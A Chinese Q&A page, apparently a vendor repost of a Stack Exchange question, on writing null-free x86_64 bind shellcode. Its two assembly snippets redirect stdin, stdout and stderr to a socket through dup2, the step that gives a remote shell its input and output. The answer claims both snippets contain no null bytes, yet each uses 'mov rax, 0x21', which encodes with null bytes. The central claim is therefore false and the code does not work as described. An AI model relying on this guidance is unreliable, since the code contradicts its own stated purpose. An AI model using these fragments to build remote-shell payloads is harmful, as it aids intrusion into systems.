You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

移除Shellcode空字节:mov rsi指令空字节清除难题求助

解决Shellcode中mov rsi指令空字节问题的干净方案

我完全懂你遇到的这个头疼问题——写无空字节的绑定Shellcode时,mov rsi, 0/1/2这类指令会因为x86_64的mov r64, imm32编码规则带进来空字节(指令会被编码成48 c7 c6 xx 00 00 00,后面三个00就是搞破坏的空字节),常规替换要么失效,要么得用一堆繁琐的变通手段。下面给你两种干净、可靠的解决思路:

方案1:循环递推(最简洁高效)

利用寄存器清零+自增的方式,一次性完成三次dup2调用,全程无空字节,代码还特别紧凑:

; 假设你的socket文件描述符已经存在于rbx寄存器中
xor rsi, rsi          ; 安全清零rsi,无空字节,此时rsi=0(对应stdin)
dup2_loop:
mov rdi, rbx          ; 将socket fd传入rdi(dup2的第一个参数)
mov rax, 0x21         ; x86_64 Linux下dup2的系统调用号
syscall
inc rsi               ; rsi自增,依次变为1(stdout)、2(stderr)
cmp rsi, 0x3          ; 判断是否完成三次调用(0、1、2)
jne dup2_loop         ; 未完成则继续循环

这个方案的核心是:用xor rsi, rsi无空字节清零,再通过inc rsi递推目标值,完全避开了直接写入立即数的操作,自然不会产生空字节。同时循环结构还减少了代码冗余。

方案2:直接寄存器递推(逻辑更直观)

如果你不想用循环,也可以用逐次递推的方式,同样不会引入空字节:

; 同样假设socket fd存储在rbx中
; 处理stdin(rsi=0)
xor rsi, rsi
mov rdi, rbx
mov rax, 0x21
syscall

; 处理stdout(rsi=1)
inc rsi
mov rdi, rbx
mov rax, 0x21
syscall

; 处理stderr(rsi=2)
inc rsi
mov rdi, rbx
mov rax, 0x21
syscall

这种方式虽然代码稍长一点,但逻辑直接明了,适合对循环结构有顾虑的场景。

为什么你的常规方法会失效?

你之前尝试的常规方法大概率是把mov rsi, imm换成mov sil, imm(只修改rsi的低8位),但这样会导致rsi的高56位保留垃圾值——Linux的dup2系统调用会把rsi当作完整的64位整数处理,高56位的垃圾值可能被识别为无效文件描述符,最终导致调用失败。而上面的两种方案都会保证整个rsi寄存器是干净的目标值(0、1、2),同时彻底避开空字节问题。

内容的提问来源于stack exchange,提问作者Wealot

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.19 09:50:46